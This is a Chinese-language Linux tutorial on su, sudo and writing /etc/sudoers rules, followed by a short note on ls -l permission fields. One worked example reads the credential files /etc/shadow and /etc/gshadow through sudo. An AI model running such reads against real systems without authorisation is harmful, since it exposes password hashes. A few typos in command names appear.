获取超级权限的过程,就是切换普通用户身份到超级用户身份的过程;这个过程主要是通过su和sudo 来解决;
三、使用 su 命令临时切换用户身份;
1、su 的适用条件和威力
su命令就是切换用户的工具,怎么理解呢?比如我们以普通用户beinan登录的,但要添加用户任务,执行useradd ,beinan用户没有这个权限,而这个权限恰恰由root所拥有。解决办法无法有两个,一是退出beinan用户,重新以root用户登录,但这种办法并不是最好的;二是我们没有必要退出beinan用户,可以用su来切换到root下进行添加用户的工作,等任务完成后再退出root。我们可以看到当然通过su 切换是一种比较好的办法;
通过su可以在用户之间切换,如果超级权限用户root向普通或虚拟用户切换不需要密码,什么是权力?这就是!而普通用户切换到其它任何用户都需要密码验证;
2、su 的用法:
su [OPTION选项参数] [用户]-, -l, --login 登录并改变到所切换的用户环境;-c, --commmand=COMMAND 执行一个命令,然后退出所切换到的用户环境;
至于更详细的,请参看man su ;
3、su 的范例:
su 在不加任何参数,默认为切换到root用户,但没有转到root用户家目录下,也就是说这时虽然是切换为root用户了,但并没有改变root登录环境;用户默认的登录环境,可以在/etc/passwd 中查得到,包括家目录,SHELL定义等;
[beinan@localhost ~]$ suPassword:[root@localhost beinan]# pwd/home/beinan
su 加参数 - ,表示默认切换到root用户,并且改变到root用户的环境;
[beinan@localhost ~]$ pwd/home/beinan[beinan@localhost ~]$ su -Password:[root@localhost ~]# pwd/root
su 参数 - 用户名
[beinan@localhost ~]$ su - root 注:这个和su - 是一样的功能;Password:[root@localhost ~]# pwd/root
[beinan@localhost ~]$ su - linuxsir 注:这是切换到 linuxsir用户Password: 注:在这里输入密码;[linuxsir@localhost ~]$ pwd 注:查看用户当前所处的位置;/home/linuxsir[linuxsir@localhost ~]$ id 注:查看用户的UID和GID信息,主要是看是否切换过来了;uid=505(linuxsir) gid=502(linuxsir) groups=0(root),500(beinan),502(linuxsir)[linuxsir@localhost ~]$
[beinan@localhost ~]$ su - -c ls 注:这是su的参数组合,表示切换到root用户,并且改变到root环境,然后列出root家目录的文件,然后退出root用户;Password: 注:在这里输入root的密码;anaconda-ks.cfg Desktop install.log install.log.syslog testgroup testgroupbeinan testgrouproot[beinan@localhost ~]$ pwd 注:查看当前用户所处的位置;/home/beinan[beinan@localhost ~]$ id 注:查看当前用户信息;uid=500(beinan) gid=500(beinan) groups=500(beinan)
4、su的优缺点;
su 的确为管理带来方便,通过切换到root下,能完成所有系统管理工具,只要把root的密码交给任何一个普通用户,他都能切换到root来完成所有的系统管理工作;
但通过su切换到root后,也有不安全因素;比如系统有10个用户,而且都参与管理。如果这10个用户都涉及到超级权限的运用,做为管理员如果想让其它用户通过su来切换到超级权限的root,必须把root权限密码都告诉这10个用户;如果这10个用户都有root权限,通过root权限可以做任何事,这在一定程度上就对系统的安全造成了威协;想想Windows吧,简直就是恶梦;
“没有不安全的系统,只有不安全的人”,我们绝对不能保证这10个用户都能按正常操作流程来管理系统,其中任何一人对系统操作的重大失误,都可能导致系统崩溃或数据损失;
所以su 工具在多人参与的系统管理中,并不是最好的选择,su只适用于一两个人参与管理的系统,毕竟su并不能让普通用户受限的使用;
超级用户root密码应该掌握在少数用户手中,这绝对是真理!所以集权而治的存在还是有一定道理的;
四、sudo 授权许可使用的su,也是受限制的su
1. sudo 的适用条件;
由于su 对切换到超级权限用户root后,权限的无限制性,所以su并不能担任多个管理员所管理的系统。如果用su 来切换到超级用户来管理系统,也不能明确哪些工作是由哪个管理员进行的操作。特别是对于服务器的管理有多人参与管理时,最好是针对每个管理员的技术特长和管理范围,并且有针对性的下放给权限,并且约定其使用哪些工具来完成与其相关的工作,这时我们就有必要用到 sudo。
通过sudo,我们能把某些超级权限有针对性的下放,并且不需要普通用户知道root密码,所以sudo 相对于权限无限制性的su来说,还是比较安全的,所以sudo 也能被称为受限制的su ;另外sudo 是需要授权许可的,所以也被称为授权许可的su;
sudo 执行命令的流程是当前用户切换到root(或其它指定切换到的用户),然后以root(或其它指定的切换到的用户)身份执行命令,执行完成后,直接退回到当前用户;而这些的前提是要通过sudo的配置文件/etc/sudoers来进行授权;
2、从编写 sudo 配置文件/etc/sudoers开始;
sudo的配置文件是/etc/sudoers ,我们可以用他的专用编辑工具visodu ,此工具的好处是在添加规则不太准确时,保存退出时会提示给我们错误信息;配置好后,可以用切换到您授权的用户下,通过sudo -l 来查看哪些命令是可以执行或禁止的;
/etc/sudoers 文件中每行算一个规则,前面带有#号可以当作是说明的内容,并不执行;如果规则很长,一行列不下时,可以用\号来续行,这样看来一个规则也可以拥有多个行;
/etc/sudoers 的规则可分为两类;一类是别名定义,另一类是授权规则;别名定义并不是必须的,但授权规则是必须的;
3、/etc/sudoers 配置文件中别名规则
别名规则定义格式如下:
Alias_Type NAME = item1, item2, ...

Alias_Type NAME = item1, item2, item3 : NAME = item4, item5
别名类型(Alias_Type):别名类型包括如下四种
Host_Alias 定义主机别名;User_Alias 用户别名,别名成员可以是用户,用户组(前面要加%号)Runas_Alias 用来定义runas别名,这个别名指定的是“目的用户”,即sudo 允许切换至的用户;Cmnd_Alias 定义命令别名;
NAME 就是别名了,NMAE的命名是包含大写字母、下划线以及数字,但必须以一个大写字母开头,比如SYNADM、SYN_ADM或SYNAD0是合法的,sYNAMDA或1SYNAD是不合法的;
item 按中文翻译是项目,在这里我们可以译成成员,如果一个别名下有多个成员,成员与成员之间,通过半角,号分隔;成员在必须是有效并事实存在的。什么是有效的呢?比如主机名,可以通过w查看用户的主机名(或ip地址),如果您只是本地机操作,只通过hostname 命令就能查看;用户名当然是在系统中存在的,在/etc/paswd中必须存在;对于定义命令别名,成员也必须在系统中事实存在的文件名(需要绝对路径);
item成员受别名类型 Host_Alias、User_Alias、Runas_Alias、Cmnd_Alias 制约,定义什么类型的别名,就要有什么类型的成员相配。我们用Host_Alias定义主机别名时,成员必须是与主机相关相关联,比如是主机名(包括远程登录的主机名)、ip地址(单个或整段)、掩码等;当用户登录时,可以通过w命令来查看登录用户主机信息;用User_Alias和 Runas_Alias定义时,必须要用系统用户做为成员;用Cmnd_Alias 定义执行命令的别名时,必须是系统存在的文件,文件名可以用通配符表示,配置Cmnd_Alias时命令需要绝对路径;
其中 Runas_Alias 和User_Alias 有点相似,但与User_Alias 绝对不是同一个概念,Runas_Alias 定义的是某个系统用户可以sudo 切换身份到Runas_Alias 下的成员;我们在授权规则中以实例进行解说;
别名规则是每行算一个规则,如果一个别名规则一行容不下时,可以通过\来续行;同一类型别名的定义,一次也可以定义几个别名,他们中间用:号分隔,
Host_Alias HT01=localhost,st05,st04,10,0,0,4,255.255.255.0,192.168.1.0/24 注:定义主机别名HT01,通过=号列出成员Host_Alias HT02=st09,st10 注:主机别名HT02,有两个成员;Host_Alias HT01=localhost,st05,st04,10,0,0,4,255.255.255.0,192.168.1.0/24:HT02=st09,st10 注:上面的两条对主机的定义,可以通过一条来实现,别名之间用:号分割;
注:我们通过Host_Alias 定义主机别名时,项目可以是主机名、可以是单个ip(整段ip地址也可以),也可以是网络掩码;如果是主机名,必须是多台机器的网络中,而且这些机器得能通过主机名相互通信访问才有效。那什么才算是通过主机名相互通信或访问呢?比如 ping 主机名,或通过远程访问主机名来访问。在我们局域网中,如果让计算机通过主机名访问通信,必须设置/etc/hosts,/etc /resolv.conf ,还要有DNS做解析,否则相互之间无法通过主机名访问;在设置主机别名时,如果项目是中某个项目是主机名的话,可以通过hostname 命令来查看本地主机的主机名,通过w命令查来看登录主机是来源,通过来源来确认其它客户机的主机名或ip地址;对于主机别名的定义,看上去有点复杂,其实是很简单。
如果您不明白Host_Alias 是怎么回事,也可以不用设置主机别名,在定义授权规则时通过ALL来匹配所有可能出现的主机情况。如果您把主机方面的知识弄的更明白,的确需要多多学习。
User_Alias SYSAD=beinan,linuxsir,bnnnb,lanhaitun 注:定义用户别名,下有四个成员;要在系统中确实在存在的;User_Alias NETAD=beinan,bnnb 注:定义用户别名NETAD ,我想让这个别名下的用户来管理网络,所以取了NETAD的别名;User_Alias WEBMASTER=linuxsir 注:定义用户别名WEBMASTER,我想用这个别名下的用户来管理网站;User_Alias SYSAD=beinan,linuxsir,bnnnb,lanhaitun:NETAD=beinan,bnnb:WEBMASTER=linuxsir 注:上面三行的别名定义,可以通过这一行 来实现,请看前面的说明,是不是符合?
Cmnd_Alias USERMAG=/usr/sbin/adduser,/usr/sbin/userdel,/usr/bin/passwd [A-Za-z]*,/bin/chown,/bin/chmod 注意:命令别名下的成员必须是文件或目录的绝对路径;Cmnd_Alias DISKMAG=/sbin/fdisk,/sbin/partedCmnd_Alias NETMAG=/sbin/ifconfig,/etc/init.d/networkCmnd_Alias KILL = /usr/bin/killCmnd_Alias PWMAG = /usr/sbin/reboot,/usr/sbin/haltCmnd_Alias SHELLS = /usr/bin/sh, /usr/bin/csh, /usr/bin/ksh, \/usr/local/bin/tcsh, /usr/bin/rsh, \/usr/local/bin/zsh注:这行定义命令别名有点长,可以通过 \ 号断行;Cmnd_Alias SU = /usr/bin/su,/bin,/sbin,/usr/sbin,/usr/bin
在上面的例子中,有KILL和PWMAG的命令别名定义,我们可以合并为一行来写,也就是等价行;
Cmnd_Alias KILL = /usr/bin/kill:PWMAG = /usr/sbin/reboot,/usr/sbin/halt 注:这一行就代表了KILL和PWMAG命令别名,把KILL和PWMAG的别名定义合并在一行写也是可以的;
Runas_Alias OP = root, operatorRunas_Alias DBADM=mysql:OP = root, operator 注:这行是上面两行的等价行;至于怎么理解Runas_Alias ,我们必须得通过授权规则的实例来理解;
4、/etc/sudoers中的授权规则:
授权规则是分配权限的执行规则,我们前面所讲到的定义别名主要是为了更方便的授权引用别名;如果系统中只有几个用户,其实下放权限比较有限的话,可以不用定义别名,而是针对系统用户直接直接授权,所以在授权规则中别名并不是必须的;
授权规则并不是无章可寻,我们只说基础一点的,比较简单的写法,如果您想详细了解授权规则写法的,请参看man sudoers
授权用户 主机=命令动作
这三个要素缺一不可,但在动作之前也可以指定切换到特定用户下,在这里指定切换的用户要用( )号括起来,如果不需要密码直接运行命令的,应该加NOPASSWD:参数,但这些可以省略;举例说明;
实例一:
beinan ALL=/bin/chown,/bin/chmod
如果我们在/etc/sudoers 中添加这一行,表示beinan 可以在任何可能出现的主机名的系统中,可以切换到root用户下执行 /bin/chown 和/bin/chmod 命令,通过sudo -l 来查看beinan 在这台主机上允许和禁止运行的命令;
值得注意的是,在这里省略了指定切换到哪个用户下执行/bin/shown 和/bin/chmod命令;在省略的情况下默认为是切换到root用户下执行;同时也省略了是不是需要beinan用户输入验证密码,如果省略了,默认为是需要验证密码。
为了更详细的说明这些,我们可以构造一个更复杂一点的公式;
授权用户 主机=[(切换到哪些用户或用户组)] [是否需要密码验证] 命令1,[(切换到哪些用户或用户组)] [是否需要密码验证] [命令2],[(切换到哪些用户或用户组)] [是否需要密码验证] [命令3]......
注解:
凡是[ ]中的内容,是可以省略;命令与命令之间用,号分隔;通过本文的例子,可以对照着看哪些是省略了,哪些地方需要有空格;
在[(切换到哪些用户或用户组)] ,如果省略,则默认为root用户;如果是ALL ,则代表能切换到所有用户;注意要切换到的目的用户必须用()号括起来,比如(ALL)、(beinan)
实例二:
beinan ALL=(root) /bin/chown, /bin/chmod
如果我们把第一个实例中的那行去掉,换成这行;表示的是beinan 可以在任何可能出现的主机名的主机中,可以切换到root下执行 /bin/chown ,可以切换到任何用户招执行/bin/chmod 命令,通过sudo -l 来查看beinan 在这台主机上允许和禁止运行的命令;
实例三:
beinan ALL=(root) NOPASSWD: /bin/chown,/bin/chmod
如果换成这个例子呢?表示的是beinan 可以在任何可能出现的主机名的主机中,可以切换到root下执行 /bin/chown ,不需要输入beinan用户的密码;并且可以切换到任何用户下执行/bin/chmod 命令,但执行chmod时需要beinan输入自己的密码;通过sudo -l 来查看beinan 在这台主机上允许和禁止运行的命令;
关于一个命令动作是不是需要密码,我们可以发现在系统在默认的情况下是需要用户密码的,除非特加指出不需要用户需要输入自己密码,所以要在执行动作之前加入NOPASSWD: 参数;
有可能有的弟兄对系统管理的命令不太懂,不知道其用法,这样就影响了他对 sudoers定义的理解,下面我们再举一个最简单,最有说服务力的例子;
实例四:
比如我们想用beinan普通用户通过more /etc/shadow文件的内容时,可能会出现下面的情况;
[beinan@localhost ~]$ more /etc/shadow/etc/shadow: 权限不够
这时我们可以用sudo more /etc/shadow 来读取文件的内容;就就需要在/etc/soduers中给beinan授权;
于是我们就可以先su 到root用户下通过visudo 来改/etc/sudoers ;(比如我们是以beinan用户登录系统的)
[beinan@localhost ~]$ suPassword: 注:在这里输入root密码 下面运行visodu;[root@localhost beinan]# visudo 注:运行visudo 来改 /etc/sudoers
加入如下一行,退出保存;退出保存,在这里要会用vi,visudo也是用的vi编辑器;至于vi的用法不多说了;
beinan ALL=/bin/more 表示beinan可以切换到root下执行more 来查看文件;
退回到beinan用户下,用exit命令;
[root@localhost beinan]# exitexit[beinan@localhost ~]$
查看beinan的通过sudo能执行哪些命令?
[beinan@localhost ~]$ sudo -lPassword: 注:在这里输入beinan用户的密码User beinan may run the following commands on this host: 注:在这里清晰的说明在本台主机上,beinan用户可以以root权限运行more ;在root权限下的more ,可以查看任何文本文件的内容的;(root) /bin/more
最后,我们看看是不是beinan用户有能力看到/etc/shadow文件的内容;
[beinan@localhost ~]$ sudo more /etc/shadow
beinan 不但能看到 /etc/shadow文件的内容,还能看到只有root权限下才能看到的其它文件的内容,比如;
[beinan@localhost ~]$ sudo more /etc/gshadow
对于beinan用户查看和读取所有系统文件中,我只想把/etc/shadow 的内容可以让他查看;可以加入下面的一行;
beinan ALL=/bin/more /etc/shadow
题外话:有的弟兄会说,我通过su 切换到root用户就能看到所有想看的内容了,哈哈,对啊。但咱们现在不是在讲述sudo的用法吗?如果主机上有多个用户并且不知道root用户的密码,但又想查看某些他们看不到的文件,这时就需要管理员授权了;这就是sudo的好处;
实例五:练习用户组在/etc/sudoers中写法;
如果用户组出现在/etc/sudoers 中,前面要加%号,比如%beinan ,中间不能有空格;
%beinan ALL=/usr/sbin/*,/sbin/*
如果我们在 /etc/sudoers 中加上如上一行,表示beinan用户组下的所有成员,在所有可能的出现的主机名下,都能切换到root用户下运行 /usr/sbin和/sbin目录下的所有命令;
实例六:练习取消某类程序的执行;
取消程序某类程序的执行,要在命令动作前面加上!号; 在本例中也出现了通配符的*的用法;
beinan ALL=/usr/sbin/*,/sbin/*,!/usr/sbin/fdisk 注:把这行规则加入到/etc/sudoers中;但您得有beinan这个用户组,并且beinan也是这个组中的才行;
本规则表示beinan用户在所有可能存在的主机名的主机上运行/usr/sbin和/sbin下所有的程序,但fdisk 程序除外;
[beinan@localhost ~]$ sudo -lPassword: 注:在这里输入beinan用户的密码;User beinan may run the following commands on this host:(root) /usr/sbin/*(root) /sbin/*(root) !/sbin/fdisk
[beinan@localhost ~]$ sudo /sbin/fdisk -lSorry, user beinan is not allowed to execute '/sbin/fdisk -l' as root on localhost.
注:不能切换到root用户下运行fdisk 程序;
实例七:别名的运用的实践;
假如我们就一台主机localhost,能通过hostname 来查看,我们在这里就不定义主机别名了,用ALL来匹配所有可能出现的主机名;并且有beinan、linuxsir、lanhaitun 用户;主要是通过小例子能更好理解;sudo虽然简单好用,但能把说的明白的确是件难事;最好的办法是多看例子和man soduers ;
User_Alias SYSADER=beinan,linuxsir,%beinanUser_Alias DISKADER=lanhaitunRunas_Alias OP=rootCmnd_Alias SYDCMD=/bin/chown,/bin/chmod,/usr/sbin/adduser,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd rootCmnd_Alias DSKCMD=/sbin/parted,/sbin/fdisk 注:定义命令别名DSKCMD,下有成员parted和fdisk ;SYSADER ALL= SYDCMD,DSKCMDDISKADER ALL=(OP) DSKCMD
注解:
第一行:定义用户别名SYSADER 下有成员 beinan、linuxsir和beinan用户组下的成员,用户组前面必须加%号;第二行:定义用户别名 DISKADER ,成员有lanhaitun第三行:定义Runas用户,也就是目标用户的别名为OP,下有成员root第四行:定义SYSCMD命令别名,成员之间用,号分隔,最后的!/usr/bin/passwd root 表示不能通过passwd 来更改root密码;第五行:定义命令别名DSKCMD,下有成员parted和fdisk ;第六行: 表示授权SYSADER下的所有成员,在所有可能存在的主机名的主机下运行或禁止 SYDCMD和DSKCMD下定义的命令。更为明确遥说,beinan、linuxsir和beinan用户组下的成员能以root身份运行 chown 、chmod 、adduser、passwd,但不能更改root的密码;也可以以root身份运行 parted和fdisk ,本条规则的等价规则是;
beinan,linuxsir,%beinan ALL=/bin/chown,/bin/chmod,/usr/sbin/adduser,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root,/sbin/parted,/sbin/fdisk
第七行:表示授权DISKADER 下的所有成员,能以OP的身份,来运行 DSKCMD ,不需要密码;更为明确的说 lanhaitun 能以root身份运行 parted和fdisk 命令;其等价规则是:
lanhaitun ALL=(root) /sbin/parted,/sbin/fdisk
可能有的弟兄会说我想不输入用户的密码就能切换到root并运行SYDCMD和DSKCMD 下的命令,那应该把把NOPASSWD:加在哪里为好?理解下面的例子吧,能明白的;
SYSADER ALL= NOPASSWD: SYDCMD, NOPASSWD: DSKCMD
5、/etc/sudoers中其它的未尽事项;
在授权规则中,还有 NOEXEC:和EXEC的用法,自己查man sudoers 了解;还有关于在规则中通配符的用法,也是需要了解的。这些内容不多说了,毕竟只是一个入门性的文档。soduers配置文件要多简单就有多简单,要多难就有多难,就看自己的应用了。
6、sudo的用法;
我们在前面讲的/etc/sudoers 的规则写法,最终的目的是让用户通过sudo读取配置文件中的规则来实现匹配和授权,以便替换身份来进行命令操作,进而完成在其权限下不可完成的任务;
我们只说最简单的用法;更为详细的请参考man sudo
sudo [参数选项] 命令-l 列出用户在主机上可用的和被禁止的命令;一般配置好/etc/sudoers后,要用这个命令来查看和测试是不是配置正确的;-v 验证用户的时间戳;如果用户运行sudo 后,输入用户的密码后,在短时间内可以不用输入口令来直接进行sudo 操作;用-v 可以跟踪最新的时间戳;-u 指定以以某个用户执行特定操作;-k 删除时间戳,下一个sudo 命令要求用求提供密码;
举例:
首先我们通过visudo 来改/etc/sudoers 文件,加入下面一行;
einan,linuxsir,%beinan ALL=/bin/chown,/bin/chmod,/usr/sbin/adduser,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root,/sbin/parted,/sbin/fdisk
然后列出beinan用户在主机上通过sudo 可以切换用户所能用的命令或被禁止用的命令;
[beinan@localhost ~]$ sudo -l 注:列出用户在主机上能通过切换用户的可用的或被禁止的命令;
Password: 注:在这里输入您的用户密码;
User beinan may run the following commands on this host:(root) /bin/chown 注:可以切换到root下用chown命令;(root) /bin/chmod 注:可以切换到root下用chmod命令;(root) /usr/sbin/adduser 注:可以切换到root下用adduser命令;(root) /usr/bin/passwd [A-Za-z]* 注:可以切换到root下用 passwd 命令;(root) !/usr/bin/passwd root 注:可以切换到root下,但不能执行passwd root 来更改root密码;(root) /sbin/parted 注:可以切换到 root下执行parted ;(root) /sbin/fdisk 注:可以切换到root下执行 fdisk ;
通过上面的sudo -l 列出可用命令后,我想通过chown 命令来改变/opt目录的属主为beinan ;
[beinan@localhost ~]$ ls -ld /opt 注:查看/opt的属主;rwxr-xr-x 26 root root 4096 10月 27 10:09 /opt 注:得到的答案是归属root用户和root用户组;[beinan@localhost ~]$ sudo chown beinan:beinan /opt 注:通过chown 来改变属主为beinan用户和beinan用户组;[beinan@localhost ~]$ ls -ld /opt 注:查看/opt属主是不是已经改变了;drwxr-xr-x 26 beinan beinan 4096 10月 27 10:09 /opt
我们通过上面的例子发现beinan用户能切换到root后执行改变用户口令的passwd命令;但上面的sudo -l 输出又明文写着不能更改root的口令;也就是说除了root的口令,beinan用户不能更改外,其它用户的口令都能更改。下面我们来测试;
对于一个普通用户来说,除了更改自身的口令以外,他不能更改其它用户的口令。但如果换到root身份执行命令,则可以更改其它用户的口令;
比如在系统中有linuxsir这个用户, 我们想尝试更改这个用户的口令,
[beinan@localhost ~]$ passwd linuxsir 注:不通过sudo 直接运行passwd 来更改linuxsir用户的口令;passwd: Only root can specify a user name. 注:失败,提示仅能通过 root来更改;[beinan@localhost ~]$ sudo passwd linuxsir 注:我们通过/etc/sudoers 的定义,让beinan切换到root下执行 passwd 命令来改变linuxsir的口令;Changing password for user linuxsir.New UNIX password: 注:输入新口令;Retype new UNIX password: 注:再输入一次;passwd: all authentication tokens updated successfully. 注:改变成功;
后记:
本文是用户管理的文档的重要组成部份,我计划在明天开始写用户管理控制工具,比如 useradd、userdel、usermod ,也就是管理用户的工具介绍;当然我还会写用户查询工具等与用户管理相关的;

Linux 文件rwx属性的含义(备忘)

Linux上的文件以.开头的文件被系统视为隐藏文件,仅用ls命令是看不到他们的,而用ls -a除了显示 一般文件名外,连隐藏文件也会显示出来。ls -l(这个参数是字母L的小写,不是数字1)这个命令可以使用长格式显示文件内容,如果需要察看更详细的文件资料,就要用到ls -l这个指令。例如我在某个目录下键入ls -l可能会显示如下信息(一共7个栏位):位置??? 1??????? 2????????? 3?????????? 4 ??? ??? ??? 5 ??? ??? ??? 6 ??? ??? ??? ??? 7文件属性 文件数 拥有者 所属的group 文件大小 建档日期 文件名drwx------ 2 Guest users 1024 Nov 21 21:05 Mail-rwx--x--x 1 root root 89080 Nov 7 22:41 tar*-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat->gzip-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su*第一个栏位,表示文件的属性。Linux的文件基本上分为三个属性:可读(r),可写(w),可执行(x)。但是这里有十个格子可以添(具体程序实现时,实际上是十个bit位)。第一个小格是特殊表示格,表示目录或连结文件等等,d表示目录,例如drwx------;l表示连结文件,如 lrwxrwxrwx;如果是以一横"-"表示,则表示这是文件。其余剩下的格子就以每3格为一个单位。因为Linux是多用户多任务系统,所以一个文件可能同时被许多人使用,所以我们一定要设好每个文件的权限,其文件的权限位置排列顺序是(以-rwxr-xr-x为例):rwx(Owner)r-x(Group)r-x(Other)这个例子表示的权限是:使用者自己可读,可写,可执行;同一组的用户可读,不可写,可执行;其它用户可读,不可写,可执行。另外,有一些程序属性的执行部分不是x,而是s,这表示执行这个程序的使用者,临时可以有和拥有者一样权力的身份来执行该程序。一般出现在系统管理之类的指令或程序,让使用者执行时,拥有root身份。第二个栏位,表示文件个数。如果是文件的话,那这个数目自然是1了,如果是目录的话,那它的数目就是该目录中的文件个数了。第三个栏位,表示该文件或目录的拥有者。若使用者目前处于自己的home,那这一栏大概都是它的账号名称。第四个栏位,表示所属的组(group)。每一个使用者都可以拥有一个以上的组,不过大部分的使用者应该都只属于一个组,只有当系统管理员希望给予某使用者特殊权限时,才可能会给他另一个组。第五栏位,表示文件大小。文件大小用byte来表示,而空目录一般都是1024byte,你当然可以用其它参数使文件显示的单位不同,如使用ls -k就是用kb莱显示一个文件的大小单位,不过一般我们还是以byte为主。第六个栏位,表示创建日期。以"月,日,时间"的格式表示,如Aug 15 5:46表示8月15日早上5:46分。第七个栏位,表示文件名。我们可以用ls -a显示隐藏的文件名。